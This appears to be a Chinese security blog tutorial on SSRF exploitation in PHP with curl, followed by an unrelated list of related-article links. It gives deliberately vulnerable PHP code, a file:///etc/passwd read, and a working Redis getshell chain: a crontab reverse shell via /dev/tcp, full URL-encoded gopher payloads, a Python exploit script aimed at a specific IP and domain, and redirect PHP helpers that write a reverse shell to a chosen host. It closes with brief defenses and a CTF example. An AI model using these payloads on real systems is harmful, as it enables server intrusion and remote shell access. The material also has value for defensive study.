0x00 前言

1)    SSRF的概念很好理解,请自行百度。

2)    JAVA/PHP/PYTHON都存在SSRF漏洞(至于其他语言的情况,了解粗浅尚不得知)。

3)    SSRF的利用方式很多,可参考猪猪侠的build_your_ssrf_exp_autowork,以及大佬博客。

4)    以下导图只是SSRF部分内容,导图中带√部分为本文涉及内容。

0x01 漏洞产生

以curl为例,漏洞代码为ssrf.php

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

 

0x02 利用方式

首先查看curl的版本和该版本支持的协议

[root@localhost html]#  curl -V
curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7
libidn/1.28 libssh2/1.4.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp
scp sftp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-
sockets

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多
ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。
先监听本地2333端口,然后利用gopher协议访问

[root@localhost ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726 [root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?
url=gopher://127.0.0.1:2333/_test' [root@localhost ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726.
test

可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白

dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info

即可看到redis的相关配置。

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info

即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。

file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问

http://4o4notfound.org/ssrf.php?url=file:///etc/passwd

即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了

http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用

0x03 攻击应用

主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell
首先要了解redis的getshell的exp写成的bash shell:

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1
-p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config
set dbfilename root
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。
gopher利用:这部分三叶草的joychou师傅说的很详细,可以看SSRF in PHP:https://joychou.org/web/phpssrf.html。
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转
执行命令:

bash shell.sh 127.0.0.1 4444
 

socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):

[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2017/05/25 07:16:51.991865 length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2017/05/25 07:16:51.992468 length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.995872 length=83 from=0 to=82
*3\r
$3\r
set\r
$1\r
1\r
$56\r */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1 \r
< 2017/05/25 07:16:51.996065 length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.998777 length=57 from=0 to=56
*4\r
$6\r

改成适配gopher协议的url:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0
a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333
0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad
ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$
10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq
uit%0d%0a
 

再进行urlencode,得到payload:

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d
%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20 bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250 a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a
 

最终的攻击poc为:

curl -v 'http://127.0.0.1/ssrf.php?
url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
A%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250 a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a'
 

执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell

dict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:

import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
{bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#confg set dir
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port
= port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content  
 

因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?> 

shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
 

执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell

0x04 绕过与防御

绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤
防御:限制协议为HTTP、HTTPS

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
 

禁止30x跳转

删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
 

设置白名单或限制内网ip

0x05 例题

一道ctf题目,有两个文件:ssrf3.php和flag.php
题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过
curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转.
首先获取访问flag.php的post请求:

POST /flag.php HTTP/1.1
Host: 192.168.154.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14 username=admin
 

因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。
302.php内容为

header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:
127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)
Gecko/20100101 Firefox/50.0%0d%0aAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,
deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-
Type: application/x-www-form-urlencoded%0d%0aContent-Length:
14%0d%0a%0d%0ausername=admin");

流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。
因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的。

Reference

https://joychou.org/web/phpssrf.html(三叶草)

https://www.t00ls.net/articles-41070.html(了解php/python/java中SSRF的利用)

SSRF-php初探的更多相关文章

  1. gopher 协议初探

    Gopher 协议初探 最近两天看到了字节脉搏实验室公众号上有一篇<Gopher协议与redis未授权访问>的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下 ...

  2. Java安全之初探weblogic T3协议漏洞

    Java安全之初探weblogic T3协议漏洞 文章首发自安全客:Java安全之初探weblogic T3协议漏洞 0x00 前言 在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞 ...

  3. 初探领域驱动设计(2)Repository在DDD中的应用

    概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...

  4. CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探

    CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...

  5. 从273二手车的M站点初探js模块化编程

    前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...

  6. JavaScript学习(一) —— 环境搭建与JavaScript初探

    1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...

  7. .NET文件并发与RabbitMQ(初探RabbitMQ)

    本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...

  8. React Native初探

    前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...

  9. SSRF篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.( ...

  10. 【手把手教你全文检索】Apache Lucene初探

    PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...

随机推荐

  1. SpringBoot SpringSession redis SESSION

    号称无缝整合httpsession 共享, 但注意如果存在第三方框架,例如SESSION并发控制,这个是需要自己重写session名单的. 关于redis session 共享 的session并发控 ...

  2. 每月IT摘录201810

    技术 1.Redis.对于单机实例,我们采用原生主从(Master-Slave)模式实现高可用,常规模式下对外仅暴露 Master 节点.由于使用原生 Redis,所以单机实例支持所有 Redis 指 ...

  3. PyCon大会Python主题演讲摘要

    PyCon 是全国际最大的以 Python 编程言语 为主题的技能大会.大会由 Python 社区组织,每年举行一次.在大会上,来自国际各地的 Python 用户与中心开发者齐聚一堂,共同同享 Pyt ...

  4. with as 如何工作

    with as 如何工作   with如何工作? Python对with的处理还是很机智滴.基本思想就是with所求值的对象必须有一个__enter__()方法,一个__exit__()方法 紧跟wi ...

  5. idea插件推荐

    CodeGlance 类似SublimeText的Mini Map插件  Background Image Plus 这又是一款装备B插件了,想想别人看到你的IDE有个美女或者异次元背景是怎样的,安装 ...

  6. 第三章 列表(d)选择排序

  7. git和svn的对比

  8. ADB 运行原理

    ADB基本命令和简介 ADB就是Android Debug Bridge,Android调试桥的意思,很形象.需要在电脑上安装SDK Platform Tools 对应的版本才能使用 基于ADB的工具 ...

  9. android.support.v4与Android.support.v7

    Android提供了android.support.v4和android.support.v7两个库,以便低版本API可以使用高版本API的功能. Fragment(碎片)类,是在Android 3. ...

  10. TestSuite测试报告生成

    简介:HTMLTestRuner介绍 1, 无法使用pip安装,手工下载 2, python3和python2语法不一致导致了HTMLTestRunner在py3中不兼容 解决办法:导入下面的HTML ...